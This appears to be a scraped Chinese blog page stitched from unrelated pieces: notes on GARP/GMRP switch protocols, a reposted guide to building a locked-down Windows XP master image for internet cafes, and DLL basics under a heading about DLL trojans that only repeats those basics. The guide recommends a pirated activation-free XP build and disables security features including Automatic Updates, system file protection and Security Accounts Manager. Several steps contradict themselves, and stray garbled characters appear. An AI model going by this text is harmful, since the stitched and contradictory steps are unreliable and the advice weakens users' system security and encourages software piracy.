802.1p协议还定义了GARP--Generic Attribute Registration Protocol。这里的Attribute是指组播MAC地址、端口过滤模式和VLAN等属性，GARP协议实际上可以定义很多交换机应该具有的特性，目前，它定义了GMRP--GARP Multicast Registration Protocol和GVRP--GARP VLAN Registration Protocol两个协议，以后会根据网络发展的需要定义其他的特性。GARP定义了以太网交换机之间交换这些特性信息的方法，如何发送数据包，接收的数据包如何处理等等。
GMRP协议是一个动态二层组播注册协议，它的很多方面跟IGMP（三层组播协议）类似，对于IP地址来说，D类IP地址是组播地址，实际上，对于每一个IP组播地址，都有一个组播MAC地址跟它对应，802.1p协议就是根据组播MAC地址来在以太网交换机上注册和取消组播成员身份的，而IGMP是根据组播IP来管理的。当然，如果以太网交换机没有实现GMRP协议，那么就只能通过静态配置来实现组播了。
关于为什么需要二层组播协议？我们在详细讨论一下。与协议IGMP一样，如果我们在自己的局域网内成立一个组播组，可能我们的局域网包含了很多交换机，如果这些交换机没有实现二层组播协议的话，那么，某个组员给其他组员发送数据包时，交换机就会将该数据包向所有的端口广播，因为交换机不知道哪个端口有人加入了该组播组，唯一的解决办法就是管理员配置交换机，这样，才能将这种广播转发数据包的发送方式限制住，而组播本身是动态的，所以，通过这种靠管理员的配置来实现组播的方式是不现实的。因此，就需要有一个二层组播协议来动态管理组员。这就是为什么需要二层组播协议的原因，目前，许多高档的交换机都把实现802.1p和802.1Q协议作为一个主要的性能指标。
GVRP是VLAN协议，由于它与GMRP都是基于GARP之上的，所以它们之间的关系很紧密，它们都要对交换机的数据库进行操作，这个协议的具体定义在802.1Q中。
XP网吧客户机母盘制作流程（转贴，仅供参考）
前言：这篇文章首先跟网上一些制作教程比较相似，后经过小兵的修改，基本上已经完全符合正常母盘制作教程。
1 分区:
80G （C:8G D:12G E:60G) 160G ( C:10G D:15G E:135G)
因本人网吧用的是网维大师，所以分区有要求，当然大家要活用。
2 安装操作系统:
C盘为NTFS格式 推荐用原XP上海免激活大客户版安装
安装完毕后，到此为一个段落，记的备份下系统。
3 安装驱动:
主板驱动(intel)----硬盘IDE接口加速驱动IAA(如果是VIA就略过)----显卡驱动----声卡驱动----网卡驱动----USB2.0（一般主板全部包含）----DX9.0C
驱动完后，记的把右下角的音频配置去掉勾，还有到-控制面板-声音和音频设备-语声--录音-音量-选择麦克风，要不然做完系统忘掉这个，你的耳麦就不能语音了。
4 补丁的安装:
AMD双核的记的要打AMD的补丁和微软的双核补丁
三波补丁(冲击波、震荡波、阻击波,一般这些打完微软的补丁，就自带，但有的必须自动安装)
活用360直接打补丁，但有些补丁360扫不出来，后期可用QQ医生再扫描一遍 确认无补丁。
Flash9.0 IE补丁（360自带） 360附带
泡泡堂输入法解决补丁(说白了也就是将XP输入法指示放在系统托盘补丁)
IE6SP1补丁(XP不自带的,或者重装一次IE)
到此为一个段落，记的备份下系统。
5 播放器的安装:
无需安装相关的插件及什么暴风，可直接安装60多MB的完美解码 网上有下载 它支持比暴风更多的解码器，在安装的时候需要设置下，最好选择所有的插件，满足局域网和INTEL大多的播放插件。
还有一点，可能有的用VOD,那么下载安装就OK。我记的新版播放器有个自动升级选项，记的关闭，看进程即可。
6 输入法
智能ABC2.23网吧专用版 搜狗拼音 王码五笔86版(有些游戏里要用五笔只能用这个比如街头篮球)
删除无用输入法
7 游戏安装
用网维的，可以事先在母盘上把常用的软件及游戏下载下来，这样省去刻盘的时间，一个全盘大概10多分钟完事。其他游戏，顾客有需要时自动下载即可。
其他游戏，推荐用原来的E盘直接对克母盘（如果感觉运来母盘有问题的话，或者有不知的病毒等等，那就事先装个杀毒软件，拖吧，不推荐在母盘安装一些工具和游戏，会加大系统的注册表容量及速度等）
不用网维的，像游戏平台：联众安装包、QQGAME安装包、边烽安装包、<A target=_blank href="javascript:;" target=_blank>中国游戏在线安装包、中国游戏互动中心、浩方对战平台 CS反作弊器 网易泡泡2005、UC安装包、ICQ汉化版 大智慧、E话通 MSN简体中文版、雅虎通
(在这里要注意的是装联众和中游等游戏之前先导入预先改好的注册表，然后再安装.我的系统游戏平台全放E盘，IE临时文件夹也是放E盘)
浏览器：
因为近期病毒比较凶恶，尤其是磁碟机和机器狗，均通过IE浏览下载未知的木马病毒。
那么如果感觉防止没有多大的信心，我建议从根源杜绝
1、用相关软件屏蔽不需要的端口 像139 135等等
2、安装360的浏览器，他的作用不可小窥。
3、安装360的还原保护器、保证中毒的几率大大降低
而下面的优化教程 大家看到 适可而止 适合自己网吧的才是最主要
接下一篇
-------------------------------组策略修改--------------------------------------------
运行==>>gpedit.msc==>>计算机配置==>>管理模板
网络==>>QOS数据包调度程序==>>限制可保留带宽==>>启用，带宽限制改为0
运行==>>gpedit.msc==>>用户配置==>>管理模板
WINDOWS组件==>>internet explorer
禁用更改主页设置启用
inetrnet 控制面板
安全页
内容页
连接页
程序页
隐私页
高级页
以上几项全部启用
WINDOWS组件==>>windows资源管理器
从 Windows 资源管理器中删除“文件”菜单 已启用
从 Windows 资源管理器上删除寻找按钮 已启用
隐藏 Windows 资源管理器上下文菜单上的“管理”项目 已启用
“网上邻居”中没有“我附近的计算机” 已启用
“最近的文档”的最大数目(1) 已启用
删除 CD 烧录功能 已启用
不要将已删除的文件移到“回收站” 已启用
删除文件时显示确认对话框 已启用
从“我的电脑”删除共享文档 已启用
关闭缩略图的缓存 已启用
管理模板==>>任务栏和开始菜单
从「开始」菜单删除公用程序组 已启用
从「开始」菜单中删除“我的文档”图标 已启用
从「开始」菜单上删除“文档”菜单 已启用
从「开始」菜单中删除“收藏夹”菜单 已启用
从「开始」菜单中删除“搜索”菜单 已启用
从「开始」菜单删除“帮助”命令 已启用
阻止更改“任务栏和「开始」菜单”设置 已启用
阻止访问任务栏的上下文菜单 已启用
不要保留最近打开文档的记录 已启用
管理模板==>>桌面
删除桌面上的“我的文档”图标 已启用
删除桌面上的“我的电脑”图标 已启用
从桌面删除回收站 已启用
不要将最近打开的文档的共享添加到“网上邻居” 已启用
禁止用户更改“我的文档”路径 已启用
禁止添加、拖、放和关闭任务栏的工具栏 已启用
禁用调整桌面工具栏 已启用
退出时不保存设置 已启用
删除清理桌面向导 已启用
管理模板==>>桌面==>>Active Desktop
禁用活动桌面 已启用
不允许更改 已启用
禁止添加项目 已启用
禁止删除项目 已启用
管理模板==>>控制面板
禁止访问控制面板 已启用
管理模板==>>控制面板==>>显示
删除“控制面板”中的“显示” 已启用
隐藏“桌面”选项卡 已启用
阻止更改墙纸 已启用
隐藏“外观和主题”选项卡 已启用
隐藏“设置”选项卡 未被配置
隐藏“屏幕保护程序”选项卡 已启用
屏幕保护程序 已禁用
管理模板==>>控制面板==>>显示==>>桌面主题
删除主题选项 已启用
通过改DLL来美化系统图标
※ 关于系统托盘图标的修改 ※
网络连接和音量
这两个都在C:\\WINDOWS\\system32文件夹下面，可以找到地
(网络连接)图标是在netshell.dll图标项的#1915--#1918
(音量)stｏｂｊｅｃｔ.dll图标项的 230--231
还有 (音量)stｏｂｊｅｃｔ.dll图标项的 230--231
※ 关于打开/保存对话框右上角按钮的修改 ※
还有好多人提到打开和另存为对话框右上角那个几个位图的问题，在这还是在说一遍：是comctl32.dll里面的位图项124--131，在这下面两个文件夹里面
X:\\WINDWOS\\WinSxS\\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.0.0_x-ww_1382d70a
X:\\WINDWOS\\WinSxS\\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.10.0_x-ww_f7fb5805
※ 关于IE下载对话框动画的修改 ※
IE下载的AVI也有好多人问
在C:\\WINDOWS\\system32\\SHDOCVW.DLL里面的AVI资源256
※ 关于资源管理器/IE工具栏按钮的修改 ※
IE和资源管理器的工具栏按钮的替换位置为shell32.dll位图204--217
IE角上微标的替换位置为 shell32.dll 里面位图240-242
※ 关于关机/注销对话框的修改 ※
还有问的最多的问题就是关机和注销对话框了
关机是msgina.dll,
注销是shell32.dll
※ 关于Windows图片查看器的修改 ※
图片和传真查看器也是比较常见地~~~ 标题栏的字样可以修改里面字符串的第一项
下面一排按钮是shimgvw.dll位图项104～107
※ 关于控制面板项目的修改 ※
控制面板的分类视图的各个图标位置为shell32.dll图标项268～276'u(w8o d'h2` L L
控制面板的经典视图的各项图标一般在C:\\WINDOWS\\system32下对应的.cpl文件，分别为
modem.cpl 调制解调器图标
main.cpl 鼠标图标
netcpl.cpl网络连接图标
ODBCCP32.CPL ODBC 数据源
powercfg.cpl电源选项
main.cpl 打印机和传真图标
intl.cpl区域和语言设置图标
appwiz.cpl 添加/删除应用程序图标
mmsys.cpl声音与多媒体图标
sysdm.cpl系统图标
inetcpl.cpl用户图标
access.cpl辅助功能选项
sysdm.cpl添加新硬件
datetime.cpl日期时间图标
desk.cpl 显示属性
main.cpl字体图标
joy.cpl 游戏控制器图标
inetcpl.cpl Internet选项图标
main.cpl 键盘图标
mstask.dll任务计划图标
等~~~~~~
添加/删除应用程序的对话框
很多人找不到最下面那个设定程序访问和默认值的图标，
appwiz.cpl 上面三个在位图项的101--103，不是通常的图标项里面而最下面的图标在moricons.dll的图标项114
※ 关于系统属性对话框的修改 ※
好多人想改系统属性对话框上的字和里面对应的图标、位图等，我帮大家收集了一下为下面的几个文件：
计算机名netid.dll (对话框上的字,对话框项112）
远程remotepg.dll (对话框上的字,对话框项510）
自動更新wuaueng.dll(对话框上的字,对话框项501）
常规、硬件和高级选项sysdm.cpl (对话框上的字,对话框项101）
系统还原 srrstr.dll (对话框上的字,对话框项11）
※ 关于显示属性对话框的修改 ※
显示属性对话框也是大家个性化中首要考虑的一个问题
于之相关的文件为themeui.dll和shell32.dll~~~
※ 其他 ※
系统消息中使用的图标,这个大家替换的时候一定要注意一点，图标的格式和原来的图标的格式一定要一样的，否则有可能进不了系统！！！切记
这个文件为：User32.dll图标项100--105
工具栏位图替换C:\\WINDOWS\\PCHEALTH\\HELPCTR\\Binaries下helpctr.exe里面的位图项300#--303# 还有图标项200#
还有就是里面的一些图标和位图等 下载下面的文件直接替换C:\\WINDOWS\\PCHEALTH\\HELPCTR\\System下的images文件夹
评论：大致步骤这些，有遗忘的大家提出原作不是我，我只是稍加修改而已！
听说过很多朋友说把自己网吧的系统
[查看全文]
接下篇
-----------------注册表优化设置------------------------------
关闭不正常关机导致磁盘扫描
找到下面的键值：HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager
再找到右边这个值：BootExecute把里面的数据全部删除
-去掉菜单延迟
Windows XP中的菜单在打开时会有滑出的效果，但这也会延缓打开速度。我们可以在HKEY_CURRENT_USER\Control Panel\Desktop下找到“MenuShowDelay”主键，把它的值改为“0”就可以去掉菜单延迟效果。
-不加载多余的DLL文件
-关闭XP文件保护
-关闭程序仅等待1秒_程序出错时等待0.5秒
-加快菜单显示速度
-加快局域网访问速度
-减少开机滚动条滚动次数
-清除共享文件夹
-取消快捷方式的箭头
-缩短XP的开关机的等待时间
-自动关闭停止响应的程序
-删除图标快捷方式的字样
-停止磁盘空间不足警告
-完全禁用系统还原
-彻底关闭Dr_Warson
-打开启动优化功能
-加快菜单显示速度
-加快程序运行速度
-加快开关机机速度,自动关闭停止响应的程序
-加快开机速度副值
-开启硬件优化
-启动XP的路由功能和IP的过滤功能
-启动预读和程序预读可以减少启动时间
-修复AMD处理器的AGP内存分页问题
-禁用文件夹选项菜单
-禁止访问任务栏属性
-禁止远程修改注册表
-屏蔽资源管理器中的(文件F)和(搜索)菜单
-删除在开始菜单中的(文档)选项
-锁定IE的下载功能
-关闭平滑字体
-在单独内存空间运行
-自动清除内存中多余的dll资料
-开启CPU二级缓存,加速系统核心处理进程
-禁PP,PocoQQ,BT等非常软件注册表补丁
-优化XP 2K 注册表启动速度
-cs鼠标加速注册表文件
-关闭活动桌面
-禁止 在网上邻居显示 我附近的计算机
-禁止CD-ROM自动运行
-自动点亮num灯
以上是我用的注册表
-取消快捷方式的手动修改法
1．运行注册表编辑器，打开HKEY_CLASSES_ROOT\lnkfile分支。
2．在lnkfile子键下面找到一个名为“IsShortcut”的键值，它表示在桌面的.LNK快捷方式图标上将出现一个小箭头。右键单击“IsShortcut”，然后从弹出的菜单中选择“删除”，将该键值删除。
3．关闭注册表编辑器，重新启动，就可发现快捷方式图标上已经没有小箭头了。
同理，对指向MS－DOS程序的快捷方式（即.PIF）图标上的小箭头，则除了是打开HKEY_CLASSES_ROOT\piffile分支外，其余同上。
----------------------使用工具优化XP---------------------------------
upiea：
屏蔽插件，恶意网站，禁止默认共享，优化网络，
优化网络的最大传输单元我设置为1400
屏蔽恶意网站：HOSTS文件(自己修改好的)
2000XP2003关闭系统文件保护工具
优化大师优化
WIN2000添加删除程序扩展
自动登陆器
频率锁定工具
屏蔽Taskmgr中止进程选项的工具
屏蔽开始菜单选项工具
屏蔽控制面板选项工具
-----------------------以下是服务----------------------------------
Cryptographic Services 已启动 自动 本地系统
EVEnt Log 已启动 自动 本地系统
Plug and Play 已启动 自动 本地系统
Remote Procedure Call (RPC) 已启动 自动 本地系统
Secondary Logon 已启动 自动 本地系统
System Restore Service 自动 本地系统
Windows Audio 已启动 自动 本地系统
Windows Management Instrumentation 已启动 自动 本地系统
Windows User Mode Driver Framework 已启动 自动 本地系统
Workstation 已启动 自动 本地系统
Application Layer Gateway Service 手动 本地服务
Application Management 手动 本地系统
COM+ EVEnt System 已启动 手动 本地系统
COM+ System Application 手动 本地系统
Internet Connection Firewall (ICF) / Internet Connection Sharing (ICS) 手动 本地系统
IPSEC Services 手动 本地系统
Logical Disk Manager 手动 本地系统
Logical Disk Manager Administrative Service 手动 本地系统
MS Software Shadow Copy Provider 手动 本地系统
Net Logon 手动 本地系统
NetMeeting Remote Desktop Sharing 手动 本地系统
Network Connections 已启动 手动 本地系统
Network DDE 手动 本地系统
Network DDE DSDM 手动 本地系统
Network Location Awareness (NLA) 已启动 手动 本地系统
Performance Logs and Alerts 手动 网络服务
Portable Media Serial Number Service RetriEVEs <A target=_blank href="javascript:;" target=_blank>the serial number of any portable media player connected to this computer. If this service is stopped, protected content might not be down loaded to the device. 手动 本地系统
Protected Storage 手动 本地系统
Remote Access Auto Connection Manager 手动 本地系统
Remote Access Connection Manager 手动 本地系统
Remote Procedure Call (RPC) Locator 手动 网络服务
Removable Storage 手动 本地系统
Server 手动 本地系统
Smart Card 手动 本地服务
System EVEnt Notification 已启动 手动 本地系统
Task Scheduler 手动 本地系统
Terminal Services 手动 本地系统
Uninterruptible Power Supply 手动 本地系统
WebClient 手动 本地服务
Windows Installer 手动 本地系统
Windows Management Instrumentation Driver Extensions 手动 本地系统
Windows Time 手动 本地系统
Alerter 已禁用 本地服务
Automatic Updates 已禁用 本地系统
Background Intelligent Transfer Service 已禁用 本地系统
ClipBook 已禁用 本地系统
Computer Browser 已禁用 本地系统
DHCP Client 已禁用 本地系统
Distributed Link Tracking Client 已禁用 本地系统
Distributed Transaction Coordinator 已禁用 网络服务
DNS Client 已禁用 网络服务
Error Reporting Service 已禁用 本地系统
Fast User Switching Compatibility 已禁用 本地系统
Help and Support 已禁用 本地系统
Human Interface Device Access 已禁用 本地系统
IMAPI CD-Burning COM Service 已禁用 本地系统
Indexing Service 已禁用 本地系统
Messenger 已禁用 本地系统
NT LM Security Support Provider 已禁用 本地系统
Print Spooler 已禁用 本地系统
QoS RSVP 已禁用 本地系统
Remote Desktop Help Session Manager 已禁用 本地系统
Remote Registry 已禁用 本地服务
Routing and Remote Access 已禁用 本地系统
Security Accounts Manager 已禁用 本地系统
Shell Hardware Detection 已禁用 本地系统
Smart Card Helper 已禁用 本地服务
SSDP Discovery Service 已禁用 本地服务
TCP/IP NetBIOS Helper 已禁用 本地服务
Telephony 已禁用 本地系统
Telnet 已禁用 本地系统
Themes 已禁用 本地系统
Universal Plug and Play Device Host 已禁用 本地服务
Upload Manager 已禁用 本地系统
Volume Shadow Copy 已禁用 本地系统
Windows Image Acquisition (WIA) 已禁用 本地系统
Wireless Zero Configuration 已禁用 本地系统
WMI Performance Adapter 已禁用 本地系统
[查看全文]
XP网吧客户机母盘制作流程（仅供参考）
XP母盘制作流程（小兵修改）二
ok,接下来就是优化了,在优化之前做个备份，以便优化过头再恢复GHOST
-----------------XP系统优化设置------------------------------
使用经典菜单:
鼠标右键单击任务栏空白处，选择“属性”菜单，进入“任务栏和开始菜单属性”的设置窗口，选择
“[开始]菜单”选项卡，选择“经典[开始]菜单”
关掉调试器Dr. Watson； ,
运行drwtsn32，把除了“转储全部线程上下文”之外的全都去掉。否则一旦有程序出错，硬盘会响很久，而且会占用很多空间。
关闭“休眠支持”：因为休眠功能占的硬碟空间蛮大的, 所以关闭比较好,
控制台-->电源选项-->休眠(不要打勾)
取消XP自带的压缩文件夹工具：
点击开始—>运行，敲入： regsvr32 /u zipfldr.dll 。然后回车即可。
去除XP自带图片预览功能：Regsvr32 /u Thumbvw.dll
优化视觉效果
右键单击桌面==>>属性==>>外观==>>改为滚动效果,边缘字体改为标准，然后将所有勾去掉，只留“直到我按ALT前请隐藏有下划线的字母供键盘使用”打上勾
减少启动时加载项目
打开注册表找到“[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]”将右边窗口的所有键值删除。
关闭系统还原功能
我的电脑==>>属性==>>系统还原,打上勾.
关闭自动更新
右键单击“我的电脑/属性/自动更新”，在“通知设置”一栏选择“保持自动更新”一项打勾。
关闭远程桌面
右键单击“我的电脑”，选择“属性/远程”，把“远程桌面”里的,“允许用户远程连接到这台计算机”勾去掉。
关闭“自动发送错误报告”功能
我的电脑==>>系统==>>高级，单击“错误报告”按钮，然后选中“禁用错误报告”，下面的“但在发生严重错误时通知我”可以选中。
合理设置虚拟内存
我的电脑==>>系统==>>高级==>>性能==>>设置==>>高级==>>虚拟内存==>>更改”，来到虚拟内存设置窗口，首先确定你的页面文件在哪个驱动器盘符，然后将别的盘符驱动器的页面文件全部禁用。建议你把它是设置到其他分区上，而不是默认的系统所在的分区，这样可以提高页面文件的读写速度，有利于系统的快速运行。根据微软的建议，页面文件应设为内存容量的1.5倍，但如果你的内存比较大，那它占用的空间也是很可观的，所以，建议如果内存容量在256MB以下，就设置为1.5倍，最大值和最小值3倍,我的设置为768。一样，如果在512MB以上，设置为内存容量的一半到一倍。
关闭写入调试
我的电脑==>>属性==>>高级==>>启动和故障恢复,写入调试信息改为无，除了在需要时恢复显示选项的时候改为5秒打勾外其余的全把勾去掉
删除多余文档
Windows XP中有许多文件平时我们很少用到，放在硬盘中，白白浪费空间，降低系统性能。我们完全可以把这些用不到的文件删除，需要删除的文件有：
帮助文件：在C:WindowsHelp目录下。
驱动备份：C:Windowsdriver cachei386目录下的Driver.cab文件。
系统文件备份： 一般用户是不怎么用的，利用命令sfc.exe /purgecache删除。
备用的dll文件:在C:Windowssystem32dllcache目录下。
输入法：在C:WindowsIme文件夹下直接删除chtime、imjp8_1、imkr6_1三个目录即可，分别是繁体中文、日文、韩文输入法。
删除WindowsXP中隐含的组件
Windows XP在正常安装之后，会自动安装许多组件，这些组件有许多是平时用不到的，安装在系统中会占用很多空间，降低系统性能，我们可以用下述方法删除不用的组件。
用记事本修改C:WindowsInf目录下的Sysoc.inf文件，用查找/替换功能，在查找框中输入“,hide”（,个英文逗号紧跟hide），将“替换为”框设为空。并选全部替换，这样，就把所有的“,hide”都去掉了
，存盘退出，再单击“开始/控制面板/添加或删除程序”,就可以看到许多平时见不到的组件，选择不需要程序进行删除即可。
删除多余字体
Windows XP中安装的字体越多，就会占用更多的内存的系统资源，减慢系统的运行速度，因此，对于不常用的字体，我们最好把它从系统中删除。字体文件存放在C:Windowsfont目录下，你完全可以根据需要选择一些字体，对于更多不用的字体，一删了之。
更改IE临时文件夹
Internet Explorer==>>属性==>>常规==>>设置==>>指定临时文件夹大小，再点移动到你所要放置临时文件夹的盘符.比如E:\Temporary Internet Files
启用DMA传输模式
所谓DMA，即直接存储器存储模式，指计算机周边设备（主要指硬盘）可直接与内存交换数据，这样可加快硬盘读写速度，提高速据传输速率。由于某些原因，Windows XP有时会在IDE通道上使用PIO并行输入输;出传输模式，而不是DMA模式。如果有这种情况，用户可以手动把IDE通道改为DMA模式，这样可以减少该设备占用的CPU周期。方法是：右键点击“我的电脑”，选“属性”，点选“硬件”选项卡，单击“设备
管理器”按钮，打开“设备管理器”，然后点击展开“IDE ATA/ATAPI 控制器”分支，其中“IDE控制器”有两项“主要IDE通道”及“次要IDE通”，分别选中，依次进入“属性/高级设置”，该对话框会列出目前IDE接口所连接设备的传输模式，检查“传输模式”下拉菜单，把它们全部设“DMA(若可用)”，点击“确定”。
减少磁盘扫描等待时间
WindowsXP虽然号称稳定，但是并不是永不死机，偶尔也会给你个蓝脸，非法操作后系统会自动扫描，出现大段大段的E文，告诉你刚才系统非正常结束，现在需要检查一下是否出错，可是还要等待一段时间才开始，所以我们可以在dos下，键入“chkntfs/t:0”，表示等待时间为0秒。
让系统自动关闭停止响应的程序
采用Windows 98/2000的窗口风格
取消任务栏的分组相似任务栏按钮功能
禁止隐藏不活动的图标
以上用到的注册表 有个120项注册表优化包 无需一个个修改 当然你像借此机会熟悉注册表各结构 不妨自己尝试
下面继续。。。
[查看全文]
DLL文件 DLL是Dynamic Link Library的缩写，意为动态链接库。DLL文件一般被存放在C:WindowsSystem目录下。DLL是一个包含可由多个程序同时使用的代码和数据的库。
DLL文件简介 在Windows中，许多应用程序并不是一个完整的可执行文件，它们被分割成一些相对独立的动态链接库，即DLL文件，放置于系统中。当我们执行某一个程序时，相应的DLL文件就会被调用。一个应用程序可有多个DLL文件，一个DLL文件也可能被几个应用程序所共用，这样的DLL文件被称为共享DLL文件。例如，在 Windows 操作系统中，Comdlg32 DLL 执行与对话框有关的常见函数。因此，每个程序都可以使用该 DLL 中包含的功能来实现“打开”对话框。这有助于促进代码重用和内存的有效使用。
通过使用 DLL，程序可以实现模块化，由相对独立的组件组成。例如，一个计帐程序可以按模块来销售。可以在运行时将各个模块加载到主程序中（如果安装了相应模块）。因为模块是彼此独立的，所以程序的加载速度更快，而且模块只在相应的功能被请求时才加载。
此外，可以更为容易地将更新应用于各个模块，而不会影响该程序的其他部分。例如，您可能具有一个工资计算程序，而税率每年都会更改。当这些更改被隔离到 DLL 中以后，您无需重新生成或安装整个程序就可以应用更新。
Windows 操作系统中的一些作为 DLL 实现的文件
·ActiveX 控件 (.ocx) 文件
ActiveX 控件的一个示例是日历控件，它使您可以从日历中选择日期。
·控制面板 (.cpl) 文件
.cpl 文件的一个示例是位于控制面板中的项。每个项都是一个专用 DLL。
·设备驱动程序 (.drv) 文件
设备驱动程序的一个示例是控制打印到打印机的打印机驱动程序。
DLL 的优点
[编辑本段]
程序使用 DLL 的优点 ·
使用较少的资源
当多个程序使用同一个函数库时，DLL 可以减少在磁盘和物理内存中加载的代码的重复量。这不仅可以大大影响在前台运行的程序，而且可以大大影响其他在 Windows 操作系统上运行的程序。
·
推广模块式体系结构
DLL 有助于促进模块式程序的开发。这可以帮助您开发要求提供多个语言版本的大型程序或要求具有模块式体系结构的程序。模块式程序的一个示例是具有多个可以在运行时动态加载的模块的计帐程序。
·
简化部署和安装
当 DLL 中的函数需要更新或修复时，部署和安装 DLL 不要求重新建立程序与该 DLL 的链接。此外，如果多个程序使用同一个 DLL，那么多个程序都将从该更新或修复中获益。当您使用定期更新或修复的第三方 DLL 时，此问题可能会更频繁地出现。
1、如何了解某应用程序使用哪些DLL文件
右键单击该应用程序并选择快捷菜单中的“快速查看”命令，在随后出现的“快速查看”窗口的“引入表”一栏中你将看到其使用DLL文件的情况。
2、如何知道DLL文件被几个程序使用
运行Regedit，进入HKEY_LOCAL_MACHINESoftwareMicrosrftWindowsCurrentVersionSharedDlls子键查看，其右边窗口中就显示了所有DLL文件及其相关数据，其中数据右边小括号内的数字就说明了被几个程序使用，（2）表示被两个程序使用，（0）则表示无程序使用，可以将其删除。
3、如何解决DLL文件丢失的情况
有时在卸载文件时会提醒你删除某个DLL文件可能会影响其他应用程序的运行。所以当你卸载软件时，就有可能误删共享的DLL文件。一旦出现了丢失DLL文件的情况，如果你能确定其名称，可以在Sysbckup（系统备份文件夹）中找到该DLL文件，将其复制到System文件夹中。如果这样不行，在电脑启动时又总是出现“***dll文件丢失……”的提示框，你可以在“开始/运行”中运行Msconfig，进入系统配置实用程序对话框以后，单击选择“System.ini”标签，找出提示丢失的DLL文件，使其不被选中，这样开机时就不会出现错误提示了。
rundll的功能是以命令列的方式呼叫Windows的动态链结库。
Rundll32.exe与Rundll.exe的区别就在于前者是呼叫32位的链结库，后者是用于16位的链结库。rundll32.exe是专门用来调用dll文件的程序。
如果用的是Win98，rundll32.exe一般存在于Windows目录下；
如果用的WinXP，rundll32.exe一般存在于WindowsSystem32目录下。
若是在其它目录，就可能是一个木马程序，它会伪装成rundll32.exe。
DLL 故障排除工具
可以使用多个工具来帮助您解决 DLL 问题。以下是其中的部分工具。
Dependency Walker
Dependency Walker 工具可以递归扫描以寻找程序所使用的所有依赖 DLL。当您在 Dependency Walker 中打开程序时，Dependency Walker 会执行下列检查：
·Dependency Walker 检查是否丢失 DLL。
·Dependency Walker 检查是否存在无效的程序文件或 DLL。
·Dependency Walker 检查导入函数和导出函数是否匹配。
·Dependency Walker 检查是否存在循环依赖性错误。
·Dependency Walker 检查是否存在由于针对另一不同操作系统而无效的模块。
通过使用 Dependency Walker，您可以记录程序使用的所有 DLL。这可能有助于避免和更正将来可能发生的 DLL 问题。当您安装 Microsoft Visual Studio 6.0 时，Dependency Walker 将位于以下目录中：
drive\Program Files\Microsoft Visual Studio\Common\Tools
DLL Universal Problem Solver
DLL Universal Problem Solver (DUPS) 工具用于审核、比较、记录和显示 DLL 信息。下表说明了组成 DUPS 工具的实用工具：
·Dlister.exe：该实用工具枚举计算机中的所有 DLL，并且将此信息记录到一个文本文件或数据库文件中。
·Dcomp.exe：该实用工具比较在两个文本文件中列出的 DLL，并产生包含差异的第三个文本文件。
·Dtxt2DB.exe：该实用工具将通过使用 Dlister.exe 实用工具和 Dcomp.exe 实用工具创建的文本文件加载到 dllHell 数据库中。
·DlgDtxt2DB.exe：该实用工具提供 Dtxt2DB.exe 实用工具的图形用户界面 (GUI) 版本。
DLL 的类型
当您在应用程序中加载 DLL 时，可以使用两种链接方法来调用导出的 DLL 函数。这两种链接方法是加载时动态链接和运行时动态链接。
1、加载时动态链接
在加载时动态链接中，应用程序像调用本地函数一样对导出的 DLL 函数进行显式调用。要使用加载时动态链接，请在编译和链接应用程序时提供头文件 (.h) 和导入库文件 (.lib)。当您这样做时，链接器将向系统提供加载 DLL 所需的信息，并在加载时解析导出的 DLL 函数的位置。
2、运行时动态链接
在运行时动态链接中，应用程序调用 LoadLibrary 函数或 LoadLibraryEx 函数以在运行时加载 DLL。成功加载 DLL 后，可以使用 GetProcAddress 函数获得要调用的导出的 DLL 函数的地址。在使用运行时动态链接时，无需使用导入库文件。
Win32 DLL的特点
Win32 DLL与 Win16 DLL有很大的区别，这主要是由操作系统的设计思想决定的。一方面，在Win16 DLL中程序入口点函数和出口点函数（LibMain和WEP）是分别实现的；而在Win32 DLL中却由同一函数DLLMain来实现。无论何时，当一个进程或线程载入和卸载DLL时，都要调用该函数，它的原型是
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved);
其中，第一个参数表示DLL的实例句柄；第三个参数系统保留；这里主要介绍一下第二个参数，它有四个可能的值：DLL_PROCESS_ATTACH（进程载入），DLL_THREAD_ATTACH（线程载入）,DLL_THREAD_DETACH（线程卸载），DLL_PROCESS_DETACH（进程卸载），在DLLMain函数中可以对传递进来的这个参数的值进行判别，并根据不同的参数值对DLL进行必要的初始化或清理工作。举个例子来说，当有一个进程载入一个DLL时，系统分派给DLL的第二个参数为DLL_PROCESS_ATTACH，这时，你可以根据这个参数初始化特定的数据。另一方面，在Win16环境下，所有应用程序都在同一地址空间；而在Win32环境下，所有应用程序都有自己的私有空间，每个进程的空间都是相互独立的，这减少了应用程序间的相互影响，但同时也增加了编程的难度。大家知道，在Win16环境中，DLL的全局数据对每个载入它的进程来说都是相同的；而在Win32环境中，情况却发生了变化，当进程在载入DLL时，系统自动把DLL地址映射到该进程的私有空间，而且也复制该DLL的全局数据的一份拷贝到该进程空间，也就是说每个进程所拥有的相同的DLL的全局数据其值却并不一定是相同的。因此，在Win32环境下要想在多个进程中共享数据，就必须进行必要的设置。亦即把这些需要共享的数据分离出来，放置在一个独立的数据段里，并把该段的属性设置为共享。
黑线 2006-11-07 19:49
DLL木马的原理
什么是 DLL？
DLL 是一个包含可由多个程序同时使用的代码和数据的库。例如，在 Windows 操作系统中，Comdlg32 DLL 执行与对话框有关的常见函数。因此，每个程序都可以使用该 DLL 中包含的功能来实现“打开”对话框。这有助于促进代码重用和内存的有效使用。
通过使用 DLL，程序可以实现模块化，由相对独立的组件组成。例如，一个计帐程序可以按模块来销售。可以在运行时将各个模块加载到主程序中（如果安装了相应模块）。因为模块是彼此独立的，所以程序的加载速度更快，而且模块只在相应的功能被请求时才加载。
此外，可以更为容易地将更新应用于各个模块，而不会影响该程序的其他部分。例如，您可能具有一个工资计算程序，而税率每年都会更改。当这些更改被隔离到 DLL 中以后，您无需重新生成或安装整个程序就可以应用更新。
下表说明了 Windows 操作系统中的一些作为 DLL 实现的文件：• ActiveX 控件 (.ocx) 文件
ActiveX 控件的一个示例是日历控件，它使您可以从日历中选择日期。
• 控制面板 (.cpl) 文件
.cpl 文件的一个示例是位于控制面板中的项。每个项都是一个专用 DLL。
• 设备驱动程序 (.drv) 文件
设备驱动程序的一个示例是控制打印到打印机的打印机驱动程序。
